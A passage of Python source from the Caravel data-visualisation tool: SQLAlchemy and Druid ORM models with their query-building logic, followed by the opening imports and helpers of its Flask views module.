    user_id = Column(Integer, ForeignKey('ab_user.id'))
    owner = relationship('User', backref='tables', foreign_keys=[user_id])
    database = relationship(
        'Database', backref='tables', foreign_keys=[database_id])
    offset = Column(Integer, default=0)
    cache_timeout = Column(Integer)
    schema = Column(String(255))
    table_columns = relationship("TableColumn", back_populates="table")

    baselink = "tablemodelview"

    __table_args__ = (
        sqla.UniqueConstraint(
            'database_id', 'schema', 'table_name',
            name='_customer_location_uc'),)

    def __repr__(self):
        return self.table_name

    @property
    def description_markeddown(self):
        return utils.markdown(self.description)

    @property
    def link(self):
        return '<a href="{self.url}">{self.table_name}</a>'.format(**locals())

    @property
    def perm(self):
        return (
            "[{obj.database}].[{obj.table_name}]"
            "(id:{obj.id})").format(obj=self)

    @property
    def full_name(self):
        return "[{obj.database}].[{obj.table_name}]".format(obj=self)

    @property
    def dttm_cols(self):
        l = [c.column_name for c in self.columns if c.is_dttm]
        if self.main_dttm_col not in l:
            l.append(self.main_dttm_col)
        return l

    @property
    def num_cols(self):
        return [c.column_name for c in self.columns if c.isnum]

    @property
    def any_dttm_col(self):
        cols = self.dttm_cols
        if cols:
            return cols[0]

    @property
    def html(self):
        t = ((c.column_name, c.type) for c in self.columns)
        df = pd.DataFrame(t)
        df.columns = ['field', 'type']
        return df.to_html(
            index=False,
            classes=(
                "dataframe table table-striped table-bordered "
                "table-condensed"))

    @property
    def name(self):
        return self.table_name

    @renders('table_name')
    def table_link(self):
        return '<a href="{obj.explore_url}">{obj.table_name}</a>'.format(obj=self)

    @property
    def metrics_combo(self):
        return sorted(
            [
                (m.metric_name, m.verbose_name or m.metric_name)
                for m in self.metrics],
            key=lambda x: x[1])

    @property
    def sql_url(self):
        return self.database.sql_url + "?table_name=" + str(self.table_name)

    @property
    def sql_link(self):
        return '<a href="{}">SQL</a>'.format(self.sql_url)

    def get_col(self, col_name):
        columns = self.table_columns
        for col in columns:
            if col_name == col.column_name:
                return col

    def query(  # sqla
            self, groupby, metrics,
            granularity,
            from_dttm, to_dttm,
            filter=None,  # noqa
            is_timeseries=True,
            timeseries_limit=15, row_limit=None,
            inner_from_dttm=None, inner_to_dttm=None,
            orderby=None,
            extras=None,
            columns=None):
        """Querying any sqla table from this common interface"""
        # For backward compatibility
        if granularity not in self.dttm_cols:
            granularity = self.main_dttm_col

        cols = {col.column_name: col for col in self.columns}
        metrics_dict = {m.metric_name: m for m in self.metrics}
        qry_start_dttm = datetime.now()

        if not granularity and is_timeseries:
            raise Exception(_(
                "Datetime column not provided as part table configuration "
                "and is required by this type of chart"))

        metrics_exprs = [metrics_dict.get(m).sqla_col for m in metrics]

        if metrics:
            main_metric_expr = metrics_exprs[0]
        else:
            main_metric_expr = literal_column("COUNT(*)").label("ccount")

        select_exprs = []
        groupby_exprs = []

        if groupby:
            select_exprs = []
            inner_select_exprs = []
            inner_groupby_exprs = []
            for s in groupby:
                col = cols[s]
                outer = col.sqla_col
                inner = col.sqla_col.label(col.column_name + '__')

                groupby_exprs.append(outer)
                select_exprs.append(outer)
                inner_groupby_exprs.append(inner)
                inner_select_exprs.append(inner)
        elif columns:
            for s in columns:
                select_exprs.append(cols[s].sqla_col)
            metrics_exprs = []

        if granularity:
            dttm_col = cols[granularity]
            dttm_expr = dttm_col.sqla_col.label('timestamp')
            timestamp = dttm_expr

            # Transforming time grain into an expression based on configuration
            time_grain_sqla = extras.get('time_grain_sqla')
            if time_grain_sqla:
                udf = self.database.grains_dict().get(time_grain_sqla, '{col}')
                timestamp_grain = literal_column(
                    udf.function.format(col=dttm_expr)).label('timestamp')
            else:
                timestamp_grain = timestamp

            if is_timeseries:
                select_exprs += [timestamp_grain]
                groupby_exprs += [timestamp_grain]

            outer_from = text(dttm_col.dttm_sql_literal(from_dttm))
            outer_to = text(dttm_col.dttm_sql_literal(to_dttm))

            time_filter = [
                timestamp >= outer_from,
                timestamp <= outer_to,
            ]
            inner_time_filter = copy(time_filter)
            if inner_from_dttm:
                inner_time_filter[0] = timestamp >= text(
                    dttm_col.dttm_sql_literal(inner_from_dttm))
            if inner_to_dttm:
                inner_time_filter[1] = timestamp <= text(
                    dttm_col.dttm_sql_literal(inner_to_dttm))
        else:
            inner_time_filter = []

        select_exprs += metrics_exprs
        qry = select(select_exprs)

        tbl = table(self.table_name)
        if self.schema:
            tbl.schema = self.schema

        if not columns:
            qry = qry.group_by(*groupby_exprs)

        where_clause_and = []
        having_clause_and = []
        for col, op, eq in filter:
            col_obj = cols[col]
            if op in ('in', 'not in'):
                values = eq.split(",")
                cond = col_obj.sqla_col.in_(values)
                if op == 'not in':
                    cond = ~cond
                where_clause_and.append(cond)
        if extras and 'where' in extras:
            where_clause_and += [text(extras['where'])]
        if extras and 'having' in extras:
            having_clause_and += [text(extras['having'])]
        if granularity:
            qry = qry.where(and_(*(time_filter + where_clause_and)))
        else:
            qry = qry.where(and_(*where_clause_and))
        qry = qry.having(and_(*having_clause_and))
        if groupby:
            qry = qry.order_by(desc(main_metric_expr))
        elif orderby:
            for col, ascending in orderby:
                direction = asc if ascending else desc
                qry = qry.order_by(direction(col))

        qry = qry.limit(row_limit)

        if timeseries_limit and groupby:
            # some sql dialects require for order by expressions
            # to also be in the select clause
            inner_select_exprs += [main_metric_expr]
            subq = select(inner_select_exprs)
            subq = subq.select_from(tbl)
            subq = subq.where(and_(*(where_clause_and + inner_time_filter)))
            subq = subq.group_by(*inner_groupby_exprs)
            subq = subq.order_by(desc(main_metric_expr))
            subq = subq.limit(timeseries_limit)
            on_clause = []
            for i, gb in enumerate(groupby):
                on_clause.append(
                    groupby_exprs[i] == column(gb + '__'))

            tbl = tbl.join(subq.alias(), and_(*on_clause))

        qry = qry.select_from(tbl)

        engine = self.database.get_sqla_engine()
        sql = "{}".format(
            qry.compile(
                engine, compile_kwargs={"literal_binds": True},),
        )
        df = pd.read_sql_query(
            sql=sql,
            con=engine
        )
        sql = sqlparse.format(sql, reindent=True)
        return QueryResult(
            df=df, duration=datetime.now() - qry_start_dttm, query=sql)

    def fetch_metadata(self):
        """Fetches the metadata for the table and merges it in"""
        try:
            table = self.database.get_table(self.table_name, schema=self.schema)
        except Exception as e:
            flasher(str(e))
            flasher(
                "Table doesn't seem to exist in the specified database, "
                "couldn't fetch column information", "danger")
            return

        TC = TableColumn  # noqa shortcut to class
        M = SqlMetric  # noqa
        metrics = []
        any_date_col = None
        for col in table.columns:
            try:
                datatype = "{}".format(col.type).upper()
            except Exception as e:
                datatype = "UNKNOWN"
                logging.error(
                    "Unrecognized data type in {}.{}".format(table, col.name))
                logging.exception(e)
            dbcol = (
                db.session
                .query(TC)
                .filter(TC.table == self)
                .filter(TC.column_name == col.name)
                .first()
            )
            db.session.flush()
            if not dbcol:
                dbcol = TableColumn(column_name=col.name, type=datatype)
                dbcol.groupby = dbcol.is_string
                dbcol.filterable = dbcol.is_string
                dbcol.sum = dbcol.isnum
                dbcol.is_dttm = dbcol.is_time

            db.session.merge(self)
            self.columns.append(dbcol)

            if not any_date_col and dbcol.is_time:
                any_date_col = col.name

            quoted = "{}".format(
                column(dbcol.column_name).compile(dialect=db.engine.dialect))
            if dbcol.sum:
                metrics.append(M(
                    metric_name='sum__' + dbcol.column_name,
                    verbose_name='sum__' + dbcol.column_name,
                    metric_type='sum',
                    expression="SUM({})".format(quoted)
                ))
            if dbcol.max:
                metrics.append(M(
                    metric_name='max__' + dbcol.column_name,
                    verbose_name='max__' + dbcol.column_name,
                    metric_type='max',
                    expression="MAX({})".format(quoted)
                ))
            if dbcol.min:
                metrics.append(M(
                    metric_name='min__' + dbcol.column_name,
                    verbose_name='min__' + dbcol.column_name,
                    metric_type='min',
                    expression="MIN({})".format(quoted)
                ))
            if dbcol.count_distinct:
                metrics.append(M(
                    metric_name='count_distinct__' + dbcol.column_name,
                    verbose_name='count_distinct__' + dbcol.column_name,
                    metric_type='count_distinct',
                    expression="COUNT(DISTINCT {})".format(quoted)
                ))
            dbcol.type = datatype
            db.session.merge(self)
            db.session.commit()

        metrics.append(M(
            metric_name='count',
            verbose_name='COUNT(*)',
            metric_type='count',
            expression="COUNT(*)"
        ))
        for metric in metrics:
            m = (
                db.session.query(M)
                .filter(M.metric_name == metric.metric_name)
                .filter(M.table_id == self.id)
                .first()
            )
            metric.table_id = self.id
            if not m:
                db.session.add(metric)
                db.session.commit()
        if not self.main_dttm_col:
            self.main_dttm_col = any_date_col


class SqlMetric(Model, AuditMixinNullable):

    """ORM object for metrics, each table can have multiple metrics"""

    __tablename__ = 'sql_metrics'
    id = Column(Integer, primary_key=True)
    metric_name = Column(String(512))
    verbose_name = Column(String(1024))
    metric_type = Column(String(32))
    table_id = Column(Integer, ForeignKey('tables.id'))
    table = relationship(
        'SqlaTable', backref='metrics', foreign_keys=[table_id])
    expression = Column(Text)
    description = Column(Text)
    is_restricted = Column(Boolean, default=False, nullable=True)
    d3format = Column(String(128))

    @property
    def sqla_col(self):
        name = self.metric_name
        return literal_column(self.expression).label(name)

    @property
    def perm(self):
        return (
            "{parent_name}.[{obj.metric_name}](id:{obj.id})"
        ).format(obj=self,
                 parent_name=self.table.full_name) if self.table else None


class TableColumn(Model, AuditMixinNullable):

    """ORM object for table columns, each table can have multiple columns"""

    __tablename__ = 'table_columns'
    id = Column(Integer, primary_key=True)
    table_id = Column(Integer, ForeignKey('tables.id'))
    table = relationship(
        'SqlaTable', backref='columns', foreign_keys=[table_id])
    column_name = Column(String(255))
    verbose_name = Column(String(1024))
    is_dttm = Column(Boolean, default=False)
    is_active = Column(Boolean, default=True)
    type = Column(String(32), default='')
    groupby = Column(Boolean, default=False)
    count_distinct = Column(Boolean, default=False)
    sum = Column(Boolean, default=False)
    max = Column(Boolean, default=False)
    min = Column(Boolean, default=False)
    filterable = Column(Boolean, default=False)
    expression = Column(Text, default='')
    description = Column(Text, default='')
    python_date_format = Column(String(255))
    database_expression = Column(String(255))

    num_types = ('DOUBLE', 'FLOAT', 'INT', 'BIGINT', 'LONG')
    date_types = ('DATE', 'TIME')
    str_types = ('VARCHAR', 'STRING', 'CHAR')

    def __repr__(self):
        return self.column_name

    @property
    def isnum(self):
        return any([t in self.type.upper() for t in self.num_types])

    @property
    def is_time(self):
        return any([t in self.type.upper() for t in self.date_types])

    @property
    def is_string(self):
        return any([t in self.type.upper() for t in self.str_types])

    @property
    def sqla_col(self):
        name = self.column_name
        if not self.expression:
            col = column(self.column_name).label(name)
        else:
            col = literal_column(self.expression).label(name)
        return col

    def dttm_sql_literal(self, dttm):
        """Convert datetime object to string

        If database_expression is empty, the internal dttm
        will be parsed as the string with the pattern that
        the user inputted (python_date_format)
        If database_expression is not empty, the internal dttm
        will be parsed as the sql sentence for the database to convert
        """
        tf = self.python_date_format or '%Y-%m-%d %H:%M:%S.%f'
        if self.database_expression:
            return self.database_expression.format(dttm.strftime('%Y-%m-%d %H:%M:%S'))
        elif tf == 'epoch_s':
            return str((dttm - datetime(1970, 1, 1)).total_seconds())
        elif tf == 'epoch_ms':
            return str((dttm - datetime(1970, 1, 1)).total_seconds()*1000.0)
        else:
            default = "'{}'".format(dttm.strftime(tf))
            iso = dttm.isoformat()
            d = {
                'mssql': "CONVERT(DATETIME, '{}', 126)".format(iso),  # untested
                'mysql': default,
                'oracle':
                    """TO_TIMESTAMP('{}', 'YYYY-MM-DD"T"HH24:MI:SS.ff6')""".format(
                        dttm.isoformat()),
                'presto': default,
                'sqlite': default,
            }
            for k, v in d.items():
                if self.table.database.sqlalchemy_uri.startswith(k):
                    return v
            return default


class DruidCluster(Model, AuditMixinNullable):

    """ORM object referencing the Druid clusters"""

    __tablename__ = 'clusters'
    id = Column(Integer, primary_key=True)
    cluster_name = Column(String(250), unique=True)
    coordinator_host = Column(String(255))
    coordinator_port = Column(Integer)
    coordinator_endpoint = Column(
        String(255), default='druid/coordinator/v1/metadata')
    broker_host = Column(String(255))
    broker_port = Column(Integer)
    broker_endpoint = Column(String(255), default='druid/v2')
    metadata_last_refreshed = Column(DateTime)

    def __repr__(self):
        return self.cluster_name

    def get_pydruid_client(self):
        cli = PyDruid(
            "http://{0}:{1}/".format(self.broker_host, self.broker_port),
            self.broker_endpoint)
        return cli

    def get_datasources(self):
        endpoint = (
            "http://{obj.coordinator_host}:{obj.coordinator_port}/"
            "{obj.coordinator_endpoint}/datasources"
        ).format(obj=self)

        return json.loads(requests.get(endpoint).text)

    def get_druid_version(self):
        endpoint = (
            "http://{obj.coordinator_host}:{obj.coordinator_port}/status"
        ).format(obj=self)
        return json.loads(requests.get(endpoint).text)['version']

    def refresh_datasources(self):
        self.druid_version = self.get_druid_version()
        for datasource in self.get_datasources():
            if datasource not in config.get('DRUID_DATA_SOURCE_BLACKLIST'):
                DruidDatasource.sync_to_db(datasource, self)


class DruidDatasource(Model, AuditMixinNullable, Queryable):

    """ORM object referencing Druid datasources (tables)"""

    type = "druid"

    baselink = "druiddatasourcemodelview"

    __tablename__ = 'datasources'
    id = Column(Integer, primary_key=True)
    datasource_name = Column(String(255), unique=True)
    is_featured = Column(Boolean, default=False)
    is_hidden = Column(Boolean, default=False)
    description = Column(Text)
    default_endpoint = Column(Text)
    user_id = Column(Integer, ForeignKey('ab_user.id'))
    owner = relationship('User', backref='datasources', foreign_keys=[user_id])
    cluster_name = Column(
        String(250), ForeignKey('clusters.cluster_name'))
    cluster = relationship(
        'DruidCluster', backref='datasources', foreign_keys=[cluster_name])
    offset = Column(Integer, default=0)
    cache_timeout = Column(Integer)

    @property
    def metrics_combo(self):
        return sorted(
            [(m.metric_name, m.verbose_name) for m in self.metrics],
            key=lambda x: x[1])

    @property
    def num_cols(self):
        return [c.column_name for c in self.columns if c.isnum]

    @property
    def name(self):
        return self.datasource_name

    @property
    def perm(self):
        return (
            "[{obj.cluster_name}].[{obj.datasource_name}]"
            "(id:{obj.id})").format(obj=self)

    @property
    def link(self):
        return (
            '<a href="{self.url}">'
            '{self.datasource_name}</a>').format(**locals())

    @property
    def full_name(self):
        return (
            "[{obj.cluster_name}]."
            "[{obj.datasource_name}]").format(obj=self)

    def __repr__(self):
        return self.datasource_name

    @renders('datasource_name')
    def datasource_link(self):
        url = "/caravel/explore/{obj.type}/{obj.id}/".format(obj=self)
        return '<a href="{url}">{obj.datasource_name}</a>'.format(
            url=url, obj=self)

    def get_metric_obj(self, metric_name):
        return [
            m.json_obj for m in self.metrics
            if m.metric_name == metric_name
        ][0]

    @staticmethod
    def version_higher(v1, v2):
        """is v1 higher than v2

        >>> DruidDatasource.version_higher('0.8.2', '0.9.1')
        False
        >>> DruidDatasource.version_higher('0.8.2', '0.6.1')
        True
        >>> DruidDatasource.version_higher('0.8.2', '0.8.2')
        False
        >>> DruidDatasource.version_higher('0.8.2', '0.9.BETA')
        False
        >>> DruidDatasource.version_higher('0.8.2', '0.9')
        False
        """
        def int_or_0(v):
            try:
                v = int(v)
            except (TypeError, ValueError):
                v = 0
            return v
        v1nums = [int_or_0(n) for n in v1.split('.')]
        v2nums = [int_or_0(n) for n in v2.split('.')]
        v1nums = (v1nums + [0, 0, 0])[:3]
        v2nums = (v2nums + [0, 0, 0])[:3]
        return v1nums[0] > v2nums[0] or \
            (v1nums[0] == v2nums[0] and v1nums[1] > v2nums[1]) or \
            (v1nums[0] == v2nums[0] and v1nums[1] == v2nums[1] and v1nums[2] > v2nums[2])

    def latest_metadata(self):
        """Returns segment metadata from the latest segment"""
        client = self.cluster.get_pydruid_client()
        results = client.time_boundary(datasource=self.datasource_name)
        if not results:
            return
        max_time = results[0]['result']['maxTime']
        max_time = parse(max_time)
        # Query segmentMetadata for 7 days back. However, due to a bug,
        # we need to set this interval to more than 1 day ago to exclude
        # realtime segments, which trigged a bug (fixed in druid 0.8.2).
        # https://groups.google.com/forum/#!topic/druid-user/gVCqqspHqOQ
        start = (0 if self.version_higher(self.cluster.druid_version, '0.8.2') else 1)
        intervals = (max_time - timedelta(days=7)).isoformat() + '/'
        intervals += (max_time - timedelta(days=start)).isoformat()
        segment_metadata = client.segment_metadata(
            datasource=self.datasource_name,
            intervals=intervals)
        if segment_metadata:
            return segment_metadata[-1]['columns']

    def generate_metrics(self):
        for col in self.columns:
            col.generate_metrics()

    @classmethod
    def sync_to_db(cls, name, cluster):
        """Fetches metadata for that datasource and merges the Caravel db"""
        logging.info("Syncing Druid datasource [{}]".format(name))
        session = get_session()
        datasource = session.query(cls).filter_by(datasource_name=name).first()
        if not datasource:
            datasource = cls(datasource_name=name)
            session.add(datasource)
            flasher("Adding new datasource [{}]".format(name), "success")
        else:
            flasher("Refreshing datasource [{}]".format(name), "info")
        session.flush()
        datasource.cluster = cluster
        session.flush()

        cols = datasource.latest_metadata()
        if not cols:
            return
        for col in cols:
            col_obj = (
                session
                .query(DruidColumn)
                .filter_by(datasource_name=name, column_name=col)
                .first()
            )
            datatype = cols[col]['type']
            if not col_obj:
                col_obj = DruidColumn(datasource_name=name, column_name=col)
                session.add(col_obj)
            if datatype == "STRING":
                col_obj.groupby = True
                col_obj.filterable = True
            if datatype == "hyperUnique" or datatype == "thetaSketch":
                col_obj.count_distinct = True
            if col_obj:
                col_obj.type = cols[col]['type']
            session.flush()
            col_obj.datasource = datasource
            col_obj.generate_metrics()
            session.flush()

    def query(  # druid
            self, groupby, metrics,
            granularity,
            from_dttm, to_dttm,
            filter=None,  # noqa
            is_timeseries=True,
            timeseries_limit=None,
            row_limit=None,
            inner_from_dttm=None, inner_to_dttm=None,
            orderby=None,
            extras=None,  # noqa
            select=None,  # noqa
            columns=None, ):
        """Runs a query against Druid and returns a dataframe.

        This query interface is common to SqlAlchemy and Druid
        """
        # TODO refactor into using a TBD Query object
        qry_start_dttm = datetime.now()

        inner_from_dttm = inner_from_dttm or from_dttm
        inner_to_dttm = inner_to_dttm or to_dttm

        # add tzinfo to native datetime with config
        from_dttm = from_dttm.replace(tzinfo=config.get("DRUID_TZ"))
        to_dttm = to_dttm.replace(tzinfo=config.get("DRUID_TZ"))

        query_str = ""
        metrics_dict = {m.metric_name: m for m in self.metrics}
        all_metrics = []
        post_aggs = {}

        def recursive_get_fields(_conf):
            _fields = _conf.get('fields', [])
            field_names = []
            for _f in _fields:
                _type = _f.get('type')
                if _type in ['fieldAccess', 'hyperUniqueCardinality']:
                    field_names.append(_f.get('fieldName'))
                elif _type == 'arithmetic':
                    field_names += recursive_get_fields(_f)

            return list(set(field_names))

        for metric_name in metrics:
            metric = metrics_dict[metric_name]
            if metric.metric_type != 'postagg':
                all_metrics.append(metric_name)
            else:
                conf = metric.json_obj
                all_metrics += recursive_get_fields(conf)
                all_metrics += conf.get('fieldNames', [])
                if conf.get('type') == 'javascript':
                    post_aggs[metric_name] = JavascriptPostAggregator(
                        name=conf.get('name'),
                        field_names=conf.get('fieldNames'),
                        function=conf.get('function'))
                else:
                    post_aggs[metric_name] = Postaggregator(
                        conf.get('fn', "/"),
                        conf.get('fields', []),
                        conf.get('name', ''))

        aggregations = {
            m.metric_name: m.json_obj
            for m in self.metrics
            if m.metric_name in all_metrics
        }

        rejected_metrics = [
            m.metric_name for m in self.metrics
            if m.is_restricted and
            m.metric_name in aggregations.keys() and
            not sm.has_access('metric_access', m.perm)
        ]

        if rejected_metrics:
            raise MetricPermException(
                "Access to the metrics denied: " + ', '.join(rejected_metrics)
            )

        granularity = granularity or "all"
        if granularity != "all":
            granularity = utils.parse_human_timedelta(
                granularity).total_seconds() * 1000
        if not isinstance(granularity, string_types):
            granularity = {"type": "duration", "duration": granularity}
            origin = extras.get('druid_time_origin')
            if origin:
                dttm = utils.parse_human_datetime(origin)
                granularity['origin'] = dttm.isoformat()

        qry = dict(
            datasource=self.datasource_name,
            dimensions=groupby,
            aggregations=aggregations,
            granularity=granularity,
            post_aggregations=post_aggs,
            intervals=from_dttm.isoformat() + '/' + to_dttm.isoformat(),
        )

        filters = self.get_filters(filter)
        if filters:
            qry['filter'] = filters

        having_filters = self.get_having_filters(extras.get('having_druid'))
        if having_filters:
            qry['having'] = having_filters

        client = self.cluster.get_pydruid_client()
        orig_filters = filters
        if timeseries_limit and is_timeseries:
            # Limit on the number of timeseries, doing a two-phases query
            pre_qry = deepcopy(qry)
            pre_qry['granularity'] = "all"
            pre_qry['limit_spec'] = {
                "type": "default",
                "limit": timeseries_limit,
                'intervals': (
                    inner_from_dttm.isoformat() + '/' +
                    inner_to_dttm.isoformat()),
                "columns": [{
                    "dimension": metrics[0] if metrics else self.metrics[0],
                    "direction": "descending",
                }],
            }
            client.groupby(**pre_qry)
            query_str += "// Two phase query\n// Phase 1\n"
            query_str += json.dumps(
                client.query_builder.last_query.query_dict, indent=2) + "\n"
            query_str += "//\nPhase 2 (built based on phase one's results)\n"
            df = client.export_pandas()
            if df is not None and not df.empty:
                dims = qry['dimensions']
                filters = []
                for unused, row in df.iterrows():
                    fields = []
                    for dim in dims:
                        f = Dimension(dim) == row[dim]
                        fields.append(f)
                    if len(fields) > 1:
                        filt = Filter(type="and", fields=fields)
                        filters.append(filt)
                    elif fields:
                        filters.append(fields[0])

                if filters:
                    ff = Filter(type="or", fields=filters)
                    if not orig_filters:
                        qry['filter'] = ff
                    else:
                        qry['filter'] = Filter(type="and", fields=[
                            ff,
                            orig_filters])
                qry['limit_spec'] = None
        if row_limit:
            qry['limit_spec'] = {
                "type": "default",
                "limit": row_limit,
                "columns": [{
                    "dimension": metrics[0] if metrics else self.metrics[0],
                    "direction": "descending",
                }],
            }
        client.groupby(**qry)
        query_str += json.dumps(
            client.query_builder.last_query.query_dict, indent=2)
        df = client.export_pandas()
        if df is None or df.size == 0:
            raise Exception(_("No data was returned."))

        if (
                not is_timeseries and
                granularity == "all" and
                'timestamp' in df.columns):
            del df['timestamp']

        # Reordering columns
        cols = []
        if 'timestamp' in df.columns:
            cols += ['timestamp']
        cols += [col for col in groupby if col in df.columns]
        cols += [col for col in metrics if col in df.columns]
        df = df[cols]
        return QueryResult(
            df=df,
            query=query_str,
            duration=datetime.now() - qry_start_dttm)

    @staticmethod
    def get_filters(raw_filters):
        filters = None
        for col, op, eq in raw_filters:
            cond = None
            if op == '==':
                cond = Dimension(col) == eq
            elif op == '!=':
                cond = ~(Dimension(col) == eq)
            elif op in ('in', 'not in'):
                fields = []
                splitted = eq.split(',')
                if len(splitted) > 1:
                    for s in eq.split(','):
                        s = s.strip()
                        fields.append(Dimension(col) == s)
                    cond = Filter(type="or", fields=fields)
                else:
                    cond = Dimension(col) == eq
                if op == 'not in':
                    cond = ~cond
            elif op == 'regex':
                cond = Filter(type="regex", pattern=eq, dimension=col)
            if filters:
                filters = Filter(type="and", fields=[
                    cond,
                    filters
                ])
            else:
                filters = cond
        return filters

    def _get_having_obj(self, col, op, eq):
        cond = None
        if op == '==':
            if col in self.column_names:
                cond = DimSelector(dimension=col, value=eq)
            else:
                cond = Aggregation(col) == eq
        elif op == '>':
            cond = Aggregation(col) > eq
        elif op == '<':
            cond = Aggregation(col) < eq

        return cond

    def get_having_filters(self, raw_filters):
        filters = None
        reversed_op_map = {
            '!=': '==',
            '>=': '<',
            '<=': '>'
        }

        for col, op, eq in raw_filters:
            cond = None
            if op in ['==', '>', '<']:
                cond = self._get_having_obj(col, op, eq)
            elif op in reversed_op_map:
                cond = ~self._get_having_obj(col, reversed_op_map[op], eq)

            if filters:
                filters = filters & cond
            else:
                filters = cond
        return filters


class Log(Model):

    """ORM object used to log Caravel actions to the database"""

    __tablename__ = 'logs'

    id = Column(Integer, primary_key=True)
    action = Column(String(512))
    user_id = Column(Integer, ForeignKey('ab_user.id'))
    dashboard_id = Column(Integer)
    slice_id = Column(Integer)
    json = Column(Text)
    user = relationship('User', backref='logs', foreign_keys=[user_id])
    dttm = Column(DateTime, default=func.now())
    dt = Column(Date, default=date.today())

    @classmethod
    def log_this(cls, f):
        """Decorator to log user actions"""
        @functools.wraps(f)
        def wrapper(*args, **kwargs):
            user_id = None
            if g.user:
                user_id = g.user.get_id()
            d = request.args.to_dict()
            d.update(kwargs)
            slice_id = d.get('slice_id', 0)
            slice_id = int(slice_id) if slice_id else 0
            log = cls(
                action=f.__name__,
                json=json.dumps(d),
                dashboard_id=d.get('dashboard_id') or None,
                slice_id=slice_id,
                user_id=user_id)
            db.session.add(log)
            db.session.commit()
            return f(*args, **kwargs)
        return wrapper


class DruidMetric(Model, AuditMixinNullable):

    """ORM object referencing Druid metrics for a datasource"""

    __tablename__ = 'metrics'
    id = Column(Integer, primary_key=True)
    metric_name = Column(String(512))
    verbose_name = Column(String(1024))
    metric_type = Column(String(32))
    datasource_name = Column(
        String(255),
        ForeignKey('datasources.datasource_name'))
    # Setting enable_typechecks=False disables polymorphic inheritance.
    datasource = relationship('DruidDatasource', backref='metrics',
                              enable_typechecks=False)
    json = Column(Text)
    description = Column(Text)
    is_restricted = Column(Boolean, default=False, nullable=True)
    d3format = Column(String(128))

    @property
    def json_obj(self):
        try:
            obj = json.loads(self.json)
        except Exception:
            obj = {}
        return obj

    @property
    def perm(self):
        return (
            "{parent_name}.[{obj.metric_name}](id:{obj.id})"
        ).format(obj=self,
                 parent_name=self.datasource.full_name
                 ) if self.datasource else None


class DruidColumn(Model, AuditMixinNullable):

    """ORM model for storing Druid datasource column metadata"""

    __tablename__ = 'columns'
    id = Column(Integer, primary_key=True)
    datasource_name = Column(
        String(255),
        ForeignKey('datasources.datasource_name'))
    # Setting enable_typechecks=False disables polymorphic inheritance.
    datasource = relationship('DruidDatasource', backref='columns',
                              enable_typechecks=False)
    column_name = Column(String(255))
    is_active = Column(Boolean, default=True)
    type = Column(String(32))
    groupby = Column(Boolean, default=False)
    count_distinct = Column(Boolean, default=False)
    sum = Column(Boolean, default=False)
    max = Column(Boolean, default=False)
    min = Column(Boolean, default=False)
    filterable = Column(Boolean, default=False)
    description = Column(Text)

    def __repr__(self):
        return self.column_name

    @property
    def isnum(self):
        return self.type in ('LONG', 'DOUBLE', 'FLOAT', 'INT')

    def generate_metrics(self):
        """Generate metrics based on the column metadata"""
        M = DruidMetric  # noqa
        metrics = []
        metrics.append(DruidMetric(
            metric_name='count',
            verbose_name='COUNT(*)',
            metric_type='count',
            json=json.dumps({'type': 'count', 'name': 'count'})
        ))
        # Somehow we need to reassign this for UDAFs
        if self.type in ('DOUBLE', 'FLOAT'):
            corrected_type = 'DOUBLE'
        else:
            corrected_type = self.type

        if self.sum and self.isnum:
            mt = corrected_type.lower() + 'Sum'
            name = 'sum__' + self.column_name
            metrics.append(DruidMetric(
                metric_name=name,
                metric_type='sum',
                verbose_name='SUM({})'.format(self.column_name),
                json=json.dumps({
                    'type': mt, 'name': name, 'fieldName': self.column_name})
            ))
        if self.min and self.isnum:
            mt = corrected_type.lower() + 'Min'
            name = 'min__' + self.column_name
            metrics.append(DruidMetric(
                metric_name=name,
                metric_type='min',
                verbose_name='MIN({})'.format(self.column_name),
                json=json.dumps({
                    'type': mt, 'name': name, 'fieldName': self.column_name})
            ))
        if self.max and self.isnum:
            mt = corrected_type.lower() + 'Max'
            name = 'max__' + self.column_name
            metrics.append(DruidMetric(
                metric_name=name,
                metric_type='max',
                verbose_name='MAX({})'.format(self.column_name),
                json=json.dumps({
                    'type': mt, 'name': name, 'fieldName': self.column_name})
            ))
        if self.count_distinct:
            name = 'count_distinct__' + self.column_name
            if self.type == 'hyperUnique' or self.type == 'thetaSketch':
                metrics.append(DruidMetric(
                    metric_name=name,
                    verbose_name='COUNT(DISTINCT {})'.format(self.column_name),
                    metric_type=self.type,
                    json=json.dumps({
                        'type': self.type,
                        'name': name,
                        'fieldName': self.column_name
                    })
                ))
            else:
                mt = 'count_distinct'
                metrics.append(DruidMetric(
                    metric_name=name,
                    verbose_name='COUNT(DISTINCT {})'.format(self.column_name),
                    metric_type='count_distinct',
                    json=json.dumps({
                        'type': 'cardinality',
                        'name': name,
                        'fieldNames': [self.column_name]})
                ))
        session = get_session()
        new_metrics = []
        for metric in metrics:
            m = (
                session.query(M)
                .filter(M.metric_name == metric.metric_name)
                .filter(M.datasource_name == self.datasource_name)
                .filter(DruidCluster.cluster_name == self.datasource.cluster_name)
                .first()
            )
            metric.datasource_name = self.datasource_name
            if not m:
                new_metrics.append(metric)
                session.add(metric)
                session.flush()

        utils.init_metrics_perm(caravel, new_metrics)


class FavStar(Model):
    __tablename__ = 'favstar'

    id = Column(Integer, primary_key=True)
    user_id = Column(Integer, ForeignKey('ab_user.id'))
    class_name = Column(String(50))
    obj_id = Column(Integer)
    dttm = Column(DateTime, default=func.now())






"""Flask web views for Caravel"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import json
import logging
import re
import sys
import time
import traceback
from datetime import datetime

import functools
import pandas as pd
import sqlalchemy as sqla

from flask import (
    g, request, redirect, flash, Response, render_template, Markup)
from flask_appbuilder import ModelView, CompactCRUDMixin, BaseView, expose
from flask_appbuilder.actions import action
from flask_appbuilder.models.sqla.interface import SQLAInterface
from flask_appbuilder.security.decorators import has_access, has_access_api
from flask_babel import gettext as __
from flask_babel import lazy_gettext as _
from flask_appbuilder.models.sqla.filters import BaseFilter

from sqlalchemy import create_engine, select, text
from sqlalchemy.sql.expression import TextAsFrom
from werkzeug.routing import BaseConverter
from wtforms.validators import ValidationError

import caravel
from caravel import appbuilder, db, models, viz, utils, app, sm, ascii_art

config = app.config
log_this = models.Log.log_this
can_access = utils.can_access


class BaseCaravelView(BaseView):
    def can_access(self, permission_name, view_name):
        return utils.can_access(appbuilder.sm, permission_name, view_name)


def get_error_msg():
    if config.get("SHOW_STACKTRACE"):
        error_msg = traceback.format_exc()
    else:
        error_msg = "FATAL ERROR \n"
        error_msg += (
            "Stacktrace is hidden. Change the SHOW_STACKTRACE "
            "configuration setting to enable it")
    return error_msg


def api(f):
    """
    A decorator to label an endpoint as an API. Catches uncaught exceptions and
